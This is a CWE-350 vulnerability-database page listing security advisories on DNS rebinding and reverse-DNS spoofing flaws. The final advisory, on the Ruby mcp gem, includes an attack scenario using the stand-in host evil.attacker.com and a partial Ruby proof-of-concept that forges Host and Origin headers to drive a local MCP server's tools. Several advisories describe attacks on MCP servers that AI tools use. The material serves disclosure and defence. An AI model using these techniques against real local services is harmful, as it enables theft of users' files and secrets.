CWE-350
AllowedReliance on Reverse DNS Resolution for a Security-Critical Action
Abstraction: Variant · Status: Draft
The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.
63 vulnerabilities reference this CWE, most recent first.
GHSA-9QFX-2RGM-H5RF
Vulnerability from github – Published: 2025-10-24 15:31 – Updated: 2025-10-24 18:31Improper handling of DNS over TCP in Simple DNS Plus v9 allows a remote attacker with querying access to the DNS server to cause the server to return request payloads from other clients. This happens when the TCP length prefix is malformed (len differs from actual packet len), and due to a concurrency/buffering issue, even when the lengths match. A length prefix that is smaller than the actual packet size increases information leakage. In summary, this vulnerability allows an attacker to see DNS queries of other clients.
{
"affected": [],
"aliases": [
"CVE-2025-61430"
],
"database_specific": {
"cwe_ids": [
"CWE-350"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-24T15:15:40Z",
"severity": "MODERATE"
},
"details": "Improper handling of DNS over TCP in Simple DNS Plus v9 allows a remote attacker with querying access to the DNS server to cause the server to return request payloads from other clients. This happens when the TCP length prefix is malformed (len differs from actual packet len), and due to a concurrency/buffering issue, even when the lengths match. A length prefix that is smaller than the actual packet size increases information leakage. In summary, this vulnerability allows an attacker to see DNS queries of other clients.",
"id": "GHSA-9qfx-2rgm-h5rf",
"modified": "2025-10-24T18:31:00Z",
"published": "2025-10-24T15:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61430"
},
{
"type": "WEB",
"url": "https://ma-personal.notion.site/simpledns-vuln?source=copy_link"
},
{
"type": "WEB",
"url": "https://www.incognitotgt.me/blog/simpledns-vuln"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CC8M-4XFJ-4H3J
Vulnerability from github – Published: 2023-06-14 00:30 – Updated: 2024-04-04 04:48{
"affected": [],
"aliases": [
"CVE-2023-32020"
],
"database_specific": {
"cwe_ids": [
"CWE-350"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-14T00:15:11Z",
"severity": "MODERATE"
},
"details": "Windows DNS Spoofing Vulnerability",
"id": "GHSA-cc8m-4xfj-4h3j",
"modified": "2024-04-04T04:48:57Z",
"published": "2023-06-14T00:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32020"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-32020"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FVH2-GM75-J4J7
Vulnerability from github – Published: 2026-05-18 17:00 – Updated: 2026-05-18 17:00Summary
dynoxide's MCP HTTP transport was vulnerable to DNS rebinding via its transitive rmcp dependency, plus a related cross-origin CSRF gap. A malicious web page could make the user's browser send requests to a local dynoxide mcp --http or dynoxide serve --mcp server with a non-loopback Host header, which the server would then process. Affects 0.9.3 to 0.9.12. The stdio transport (dynoxide mcp without --http, which is the default) is not affected.
Impact
If a user is running dynoxide mcp --http (or dynoxide serve --mcp) on their machine and then visits a malicious web page, the attacker's JavaScript can call any MCP tool exposed by the running dynoxide instance.
Reachable tools include reads (get_item, query, scan, batch_get_item, describe_table, list_tables) and writes (put_item, update_item, delete_item, create_table, batch_write_item).
Any data in tables that the local dynoxide instance has access to can be read, modified, or destroyed.
Patches
dynoxide 0.9.13 closes both the named CVE and a related cross-origin CSRF gap:
-
DNS rebinding (the named CVE).
rmcpis upgraded from 1.1.1 to 1.6.0. rmcp 1.4+ ships a default Host-header allowlist (["localhost", "127.0.0.1", "::1"]) which rejects requests carrying any other Host header with a 403. -
Defence in depth. Explicit
allowed_hostsandallowed_originslists are now set onStreamableHttpServerConfigdirectly. The Host allowlist protects against a future rmcp default flip. The Origin allowlist closes a related cross-origin CSRF gap that the Host check alone does not address: a malicious page couldfetchthe loopback endpoint withmode: 'no-cors', the Host header would match (it's the literal loopback address the browser is connecting to), but the Origin header would otherwise have been unchecked.
Native MCP clients that don't send an Origin header (Claude Code, Cursor, the dynoxide CLI) are unaffected by the Origin check and continue to work.
Workarounds
- Upgrade to dynoxide 0.9.13.
- If upgrade is not immediately possible: do not run the MCP HTTP transport. Run
dynoxide mcp(stdio, the default) instead ofdynoxide mcp --http, and don't pass--mcptodynoxide serve.
Resources
- Upstream rmcp advisory: GHSA-89vp-x53w-74fx
- Upstream CVE: CVE-2026-42559
- dynoxide release: v0.9.13
- MCP transport security guidance: https://modelcontextprotocol.io/specification/2025-11-25/basic/transports#security-warning
Credits
Vulnerability identified via GitHub Dependabot alert on the transitive rmcp dependency.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "dynoxide-rs"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.3"
},
{
"fixed": "0.9.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "dynoxide"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.3"
},
{
"fixed": "0.9.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-350",
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T17:00:25Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\ndynoxide\u0027s MCP HTTP transport was vulnerable to DNS rebinding via its transitive `rmcp` dependency, plus a related cross-origin CSRF gap. A malicious web page could make the user\u0027s browser send requests to a local `dynoxide mcp --http` or `dynoxide serve --mcp` server with a non-loopback `Host` header, which the server would then process. Affects 0.9.3 to 0.9.12. The stdio transport (`dynoxide mcp` without `--http`, which is the default) is not affected.\n\n## Impact\n\nIf a user is running `dynoxide mcp --http` (or `dynoxide serve --mcp`) on their machine and then visits a malicious web page, the attacker\u0027s JavaScript can call any MCP tool exposed by the running dynoxide instance.\n\nReachable tools include reads (`get_item`, `query`, `scan`, `batch_get_item`, `describe_table`, `list_tables`) and writes (`put_item`, `update_item`, `delete_item`, `create_table`, `batch_write_item`).\n\nAny data in tables that the local dynoxide instance has access to can be read, modified, or destroyed.\n\n## Patches\n\ndynoxide 0.9.13 closes both the named CVE and a related cross-origin CSRF gap:\n\n1. **DNS rebinding (the named CVE).** `rmcp` is upgraded from 1.1.1 to 1.6.0. rmcp 1.4+ ships a default Host-header allowlist (`[\"localhost\", \"127.0.0.1\", \"::1\"]`) which rejects requests carrying any other Host header with a 403.\n\n2. **Defence in depth.** Explicit `allowed_hosts` and `allowed_origins` lists are now set on `StreamableHttpServerConfig` directly. The Host allowlist protects against a future rmcp default flip. The Origin allowlist closes a related cross-origin CSRF gap that the Host check alone does not address: a malicious page could `fetch` the loopback endpoint with `mode: \u0027no-cors\u0027`, the Host header would match (it\u0027s the literal loopback address the browser is connecting to), but the Origin header would otherwise have been unchecked.\n\nNative MCP clients that don\u0027t send an Origin header (Claude Code, Cursor, the dynoxide CLI) are unaffected by the Origin check and continue to work.\n\n## Workarounds\n\n- Upgrade to dynoxide 0.9.13.\n- If upgrade is not immediately possible: do not run the MCP HTTP transport. Run `dynoxide mcp` (stdio, the default) instead of `dynoxide mcp --http`, and don\u0027t pass `--mcp` to `dynoxide serve`.\n\n## Resources\n\n- Upstream rmcp advisory: [GHSA-89vp-x53w-74fx](https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-89vp-x53w-74fx)\n- Upstream CVE: [CVE-2026-42559](https://www.cve.org/CVERecord?id=CVE-2026-42559)\n- dynoxide release: [v0.9.13](https://github.com/nubo-db/dynoxide/releases/tag/v0.9.13)\n- MCP transport security guidance: \u003chttps://modelcontextprotocol.io/specification/2025-11-25/basic/transports#security-warning\u003e\n\n## Credits\n\nVulnerability identified via GitHub Dependabot alert on the transitive rmcp dependency.",
"id": "GHSA-fvh2-gm75-j4j7",
"modified": "2026-05-18T17:00:25Z",
"published": "2026-05-18T17:00:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nubo-db/dynoxide/security/advisories/GHSA-fvh2-gm75-j4j7"
},
{
"type": "PACKAGE",
"url": "https://github.com/nubo-db/dynoxide"
},
{
"type": "WEB",
"url": "https://github.com/nubo-db/dynoxide/releases/tag/v0.9.13"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0140.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "dynoxide: DNS rebinding and cross-origin CSRF via MCP HTTP transport"
}
GHSA-H88C-Q974-86MM
Vulnerability from github – Published: 2024-04-05 06:30 – Updated: 2024-08-01 15:31SpaceX Starlink Wi-Fi router GEN 2 before 2023.53.0 and Starlink Dish before 07dd2798-ff15-4722-a9ee-de28928aed34 allow CSRF (e.g., for a reboot) via a DNS Rebinding attack.
{
"affected": [],
"aliases": [
"CVE-2023-52235"
],
"database_specific": {
"cwe_ids": [
"CWE-350"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-05T06:15:10Z",
"severity": "HIGH"
},
"details": "SpaceX Starlink Wi-Fi router GEN 2 before 2023.53.0 and Starlink Dish before 07dd2798-ff15-4722-a9ee-de28928aed34 allow CSRF (e.g., for a reboot) via a DNS Rebinding attack.",
"id": "GHSA-h88c-q974-86mm",
"modified": "2024-08-01T15:31:37Z",
"published": "2024-04-05T06:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52235"
},
{
"type": "WEB",
"url": "https://bugcrowd.com/disclosures/f529009b-90eb-4bf9-957d-6fe7ea890fa2/starlink-dishy-is-vulnerable-to-csrf-via-dns-rebinding"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PHHV-63FH-RRC8
Vulnerability from github – Published: 2026-03-18 18:31 – Updated: 2026-03-19 12:46Jenkins 2.442 through 2.554 (both inclusive), LTS 2.426.3 through LTS 2.541.2 (both inclusive) performs origin validation of requests made through the CLI WebSocket endpoint by computing the expected origin for comparison using the Host or X-Forwarded-Host HTTP request headers, making it vulnerable to DNS rebinding attacks that allow bypassing origin validation.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.442"
},
{
"fixed": "2.555"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33002"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-350"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T12:46:29Z",
"nvd_published_at": "2026-03-18T16:16:28Z",
"severity": "HIGH"
},
"details": "Jenkins 2.442 through 2.554 (both inclusive), LTS 2.426.3 through LTS 2.541.2 (both inclusive) performs origin validation of requests made through the CLI WebSocket endpoint by computing the expected origin for comparison using the Host or X-Forwarded-Host HTTP request headers, making it vulnerable to DNS rebinding attacks that allow bypassing origin validation.",
"id": "GHSA-phhv-63fh-rrc8",
"modified": "2026-03-19T12:46:30Z",
"published": "2026-03-18T18:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33002"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/348666da7136ef8270f88c0a7350562b0ba7f8ce"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/jenkins"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2026-03-18/#SECURITY-3674"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Jenkins has a DNS rebinding vulnerability in WebSocket CLI origin validation"
}
GHSA-PMXQ-PJ47-J8J4
Vulnerability from github – Published: 2023-09-08 12:19 – Updated: 2023-09-08 12:19Impact
The proxy mode of WireMock, can be protected by the network restrictions configuration, as documented in Preventing proxying to and recording from specific target addresses. These restrictions can be configured using the domain names, and in such a case the configuration is vulnerable to the DNS rebinding attacks. A similar patch was applied in WireMock 3.0.0-beta-15 for the WireMock Webhook Extensions.
The root cause of the attack is a defect in the logic which allows for a race condition triggered by a DNS server whose address expires in between the initial validation and the outbound network request that might go to a domain that was supposed to be prohibited. Control over a DNS service is required to exploit this attack, so it has high execution complexity and limited impact.
Affected versions
- WireMock 3,x until 3.0.3 (security patch), on default settings in environments with access to the network
- WireMock 2.x until 2.35.1 (security patch), on default settings in environments with access to the network
- Python WireMock until 2.6.1
- WireMock Studio - all versions, this proprietary product was discontinued in 2022
Patches
- WireMock 3.0.3 + the 3.0.3-1 Docker image
- WireMock 2.35.1 + the 2.35.1-1 Docker image - backport to WireMock 2.x
- Python WireMock 2.6.1
Workarounds
For WireMock:
- Option 1: Configure WireMock to use IP addresses instead of the domain names in the outbound URLs subject to DNS rebinding
- Option 2: Use external firewall rules to define the list of permitted destinations
For WireMock Studio: N/A. Switch to another distribution, there will be no fix provided. The vendor of former WireMock Studio recommends migration to WireMock Cloud
References
- CVE-2023-41327 - Related issue in the WireMock Webhooks Extension
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.wiremock:wiremock-standalone"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.wiremock:wiremock"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.github.tomakehurst:wiremock-jre8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.35.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.github.tomakehurst:wiremock-jre8-standalone"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.35.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "wiremock"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-41329"
],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-350"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-08T12:19:49Z",
"nvd_published_at": "2023-09-06T21:15:14Z",
"severity": "LOW"
},
"details": "### Impact\n\nThe proxy mode of WireMock, can be protected by the network restrictions configuration, as documented in [Preventing proxying to and recording from specific target addresses](https://wiremock.org/docs/configuration/#preventing-proxying-to-and-recording-from-specific-target-addresses). These restrictions can be configured using the domain names, and in such a case the configuration is vulnerable to the DNS rebinding attacks. A similar patch was applied in WireMock 3.0.0-beta-15 for the WireMock Webhook Extensions.\n\nThe root cause of the attack is a defect in the logic which allows for a race condition triggered by a DNS server whose address expires in between the initial validation and the outbound network request that might go to a domain that was supposed to be prohibited. Control over a DNS service is required to exploit this attack, so it has high execution complexity and limited impact.\n\n### Affected versions\n\n- WireMock 3,x until 3.0.3 (security patch), on default settings in environments with access to the network\n- WireMock 2.x until 2.35.1 (security patch), on default settings in environments with access to the network\n- Python WireMock until 2.6.1\n- WireMock Studio - all versions, this proprietary product was discontinued in 2022\n\n\n### Patches\n\n- WireMock 3.0.3 + the 3.0.3-1 Docker image\n- WireMock 2.35.1 + the 2.35.1-1 Docker image - backport to WireMock 2.x\n- Python WireMock 2.6.1\n\n### Workarounds\n\nFor WireMock:\n\n- Option 1: Configure WireMock to use IP addresses instead of the domain names in the outbound URLs subject to DNS rebinding\n- Option 2: Use external firewall rules to define the list of permitted destinations\n\nFor WireMock Studio: N/A. Switch to another distribution, there will be no fix provided. The vendor of former WireMock Studio recommends migration to [WireMock Cloud](https://www.wiremock.io/product)\n\n### References\n\n- CVE-2023-41327 - Related issue in the WireMock Webhooks Extension\n",
"id": "GHSA-pmxq-pj47-j8j4",
"modified": "2023-09-08T12:19:49Z",
"published": "2023-09-08T12:19:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/wiremock/wiremock/security/advisories/GHSA-pmxq-pj47-j8j4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41329"
},
{
"type": "PACKAGE",
"url": "https://github.com/wiremock/wiremock"
},
{
"type": "WEB",
"url": "https://wiremock.org/docs/configuration/#preventing-proxying-to-and-recording-from-specific-target-addresses"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Domain restrictions bypass via DNS Rebinding in WireMock and WireMock Studio webhooks, proxy and recorder modes"
}
GHSA-PX7V-HX94-8WMF
Vulnerability from github – Published: 2026-06-25 06:30 – Updated: 2026-06-25 06:30GitLab has remediated an issue in GitLab CE/EE affecting all versions from 8.3 before 18.11.6, 19.0 before 19.0.3, and 19.1 before 19.1.1 that under certain conditions could have allowed an authenticated user with maintainer-role permissions to make requests to internal network resources through mirror synchronization due to improper URL validation.
{
"affected": [],
"aliases": [
"CVE-2026-12635"
],
"database_specific": {
"cwe_ids": [
"CWE-350"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-25T05:16:51Z",
"severity": "LOW"
},
"details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 8.3 before 18.11.6, 19.0 before 19.0.3, and 19.1 before 19.1.1 that under certain conditions could have allowed an authenticated user with maintainer-role permissions to make requests to internal network resources through mirror synchronization due to improper URL validation.",
"id": "GHSA-px7v-hx94-8wmf",
"modified": "2026-06-25T06:30:42Z",
"published": "2026-06-25T06:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12635"
},
{
"type": "WEB",
"url": "https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-1-1-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/594321"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-Q9W8-CF67-R238
Vulnerability from github – Published: 2026-04-03 03:22 – Updated: 2026-04-28 18:20Summary
macOS Wide-Area Discovery Accepts Arbitrary Tailnet Peer as DNS Authority and Exfiltrates Operator Credentials
Current Maintainer Triage
- Status: narrow
- Normalized severity: medium
- Assessment: Real shipped macOS discovery steering bug, but exploitation needs same-tailnet position, a CA-trusted endpoint, and user selection, so medium not high.
Affected Packages / Versions
- Package:
openclaw(npm) - Latest published npm version:
2026.3.31 - Vulnerable version range:
<=2026.3.28 - Patched versions:
>= 2026.3.31 - First stable tag containing the fix:
v2026.3.31
Fix Commit(s)
a23c33a681f8c1b22dc793995acc4c5c4b568346— 2026-03-31T10:04:11+01:00
OpenClaw thanks @nexrin for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.3.28"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.31"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41393"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-350"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T03:22:32Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nmacOS Wide-Area Discovery Accepts Arbitrary Tailnet Peer as DNS Authority and Exfiltrates Operator Credentials\n\n## Current Maintainer Triage\n- Status: narrow\n- Normalized severity: medium\n- Assessment: Real shipped macOS discovery steering bug, but exploitation needs same-tailnet position, a CA-trusted endpoint, and user selection, so medium not high.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published npm version: `2026.3.31`\n- Vulnerable version range: `\u003c=2026.3.28`\n- Patched versions: `\u003e= 2026.3.31`\n- First stable tag containing the fix: `v2026.3.31`\n\n## Fix Commit(s)\n- `a23c33a681f8c1b22dc793995acc4c5c4b568346` \u2014 2026-03-31T10:04:11+01:00\n\nOpenClaw thanks @nexrin for reporting.",
"id": "GHSA-q9w8-cf67-r238",
"modified": "2026-04-28T18:20:31Z",
"published": "2026-04-03T03:22:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-q9w8-cf67-r238"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/a23c33a681f8c1b22dc793995acc4c5c4b568346"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.31"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: macOS Tailnet DNS Spoofing \u0026 Credential Exfiltration"
}
GHSA-R6Q3-R9P8-6PRH
Vulnerability from github – Published: 2026-02-15 06:31 – Updated: 2026-02-15 06:31The Spam protection, Anti-Spam, FireWall by CleanTalk plugin for WordPress is vulnerable to unauthorized Arbitrary Plugin Installation due to an authorization bypass via reverse DNS (PTR record) spoofing on the 'checkWithoutToken' function in all versions up to, and including, 6.71. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins which can be leveraged to achieve remote code execution if another vulnerable plugin is installed and activated. Note: This is only exploitable on sites with an invalid API key.
{
"affected": [],
"aliases": [
"CVE-2026-1490"
],
"database_specific": {
"cwe_ids": [
"CWE-350"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-15T04:15:53Z",
"severity": "CRITICAL"
},
"details": "The Spam protection, Anti-Spam, FireWall by CleanTalk plugin for WordPress is vulnerable to unauthorized Arbitrary Plugin Installation due to an authorization bypass via reverse DNS (PTR record) spoofing on the \u0027checkWithoutToken\u0027 function in all versions up to, and including, 6.71. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins which can be leveraged to achieve remote code execution if another vulnerable plugin is installed and activated. Note: This is only exploitable on sites with an invalid API key.",
"id": "GHSA-r6q3-r9p8-6prh",
"modified": "2026-02-15T06:31:35Z",
"published": "2026-02-15T06:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1490"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/cleantalk-spam-protect/trunk/lib/Cleantalk/ApbctWP/RemoteCalls.php#L69"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/cleantalk-spam-protect/trunk/lib/Cleantalk/Common/Helper.php#L64"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3454488/cleantalk-spam-protect#file473"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cb603be6-4a12-49e1-b8cc-b2062eb97f16?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RJR6-RCGV-9M7M
Vulnerability from github – Published: 2026-07-30 14:41 – Updated: 2026-07-30 14:41Summary
MCP::Server::Transports::StreamableHTTPTransport (the Rack-mountable Streamable HTTP transport in the mcp gem) processes every incoming JSON-RPC request without ever inspecting the HTTP Host or Origin request headers. There is no AllowedHosts/AllowedOrigins allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to 127.0.0.1, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.
Impact
- An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on
localhost). - Because the transport issues a session and dispatches
tools/list/tools/callfrom a foreignHost/Originwith no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin. - The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.
Vulnerable code
File: lib/mcp/server/transports/streamable_http_transport.rb (gem mcp 0.18.0).
The Rack entrypoint and POST handler validate Accept, Content-Type, Mcp-Session-Id, and Mcp-Protocol-Version, but never Host or Origin:
# call(env) -> handle_request(Rack::Request.new(env)) (line 56)
def handle_post(request)
required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE
accept_error = validate_accept_header(request, required_types) # line 335 - checks Accept only
return accept_error if accept_error
content_type_error = validate_content_type(request) # line 338 - checks Content-Type only
return content_type_error if content_type_error
body_string = request.body.read
session_id = extract_session_id(request) # line 342 - reads HTTP_MCP_SESSION_ID
No statement anywhere in handle_post, handle_request, or any helper reads request.env["HTTP_HOST"] or request.env["HTTP_ORIGIN"].
The only request-env reads in the whole class are:
extract_session_id->request.env["HTTP_MCP_SESSION_ID"](line 489)validate_accept_header->request.env["HTTP_ACCEPT"](line 493)validate_content_type->request.env["CONTENT_TYPE"](line 512)validate_protocol_version_header->request.env["HTTP_MCP_PROTOCOL_VERSION"](line 546)
A repository-wide search of lib/ for HTTP_HOST, HTTP_ORIGIN, allowed_host, allowed_origin, rebind, or dns.rebind returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The examples/ tree mounts Rack::Cors as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.
How the input reaches the sink (attack scenario)
- A developer runs an MCP server over
StreamableHTTPTransport, mounted as a Rack app on a local HTTP port (loopback or LAN). - The victim opens
http://evil.attacker.comin a browser. The page resolves to the attacker's server, which then re-answers DNS forevil.attacker.comwith127.0.0.1(DNS rebinding). The browser now treats requests toevil.attacker.comas going to the local MCP server, withHost: evil.attacker.com/Origin: http://evil.attacker.com. - The page POSTs an
initializerequest. The transport accepts it (it never looks atHost/Origin), creates a session, and returnsMcp-Session-Id. - The page then POSTs
tools/call, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.
Proof of concept (end-to-end reproduction)
Run against the real released gem mcp 0.18.0 (no stubs). The script builds an MCP::Server with a tool that returns sensitive local data, instantiates the real StreamableHTTPTransport, and drives it with Rack::Request env hashes carrying a forged Host/Origin. It then re-runs as a legitimate localhost client (negative control).
Install:
gem install mcp -v 0.18.0 # pulls addressable, json-schema, public_suffix
gem install rack # required by StreamableHTTPTransport
PoC (poc_f1_dnsrebind.rb):
# frozen_string_literal: true
require "mcp"
require "rack"
require "json"
require "stringio"
puts "mcp gem version under test: #{MCP::VERSION}"
puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}"
puts
# A tool whose output is sensitive local data an attacker wants to exfiltrate.
secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*|
MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }])
end
server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last
def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)
body = JSON.generate(body_hash)
env = {
"REQUEST_METHOD" => "POST", "PATH_INFO" => "/",
"HTTP_HOST" => host, # attacker-controlled Host (DNS-rebind primary vector)
"HTTP_ORIGIN" => origin, # attacker-controlled Origin (cross-origin browser vector)
"HTTP_ACCEPT" => "application/json, text/event-stream",
"CONTENT_TYPE" => "application/json",
"rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s,
}
env["HTTP_MCP_SESSION_ID"] = session_id if session_id
env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto
status, headers, resp = transport.call(env)
collected = +""
if resp.respond_to?(:each)
resp.each { |c| collected << c.to_s }
elsif resp.respond_to?(:call) # stateful tools/call returns an SSE-stream Proc body
sink = Object.new
sink.define_singleton_method(:write) { |s| collected << s.to_s }
sink.define_singleton_method(:flush) {}
sink.define_singleton_method(:close) {}
resp.call(sink)
end
[status, headers, collected]
end
puts "========== ATTACK: forged Host: attacker.evil.com Origin: http://evil.attacker.com =========="
init_body = { jsonrpc: "2.0", id: 1, method: "initialize",
params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } }
status, headers, body = rack_post(transport, init_body, host: "attacker.evil.com", origin: "http://evil.attacker.com")
puts "[initialize] HTTP status : #{status}"
puts "[initialize] Mcp-Session-Id : #{headers["Mcp-Session-Id"].inspect}"
puts "[initialize] response body : #{body}"
session = headers["Mcp-Session-Id"]
call_body = { jsonrpc: "2.0", id: 2, method: "tools/call",
params: { name: "read_local_secret", arguments: {} } }
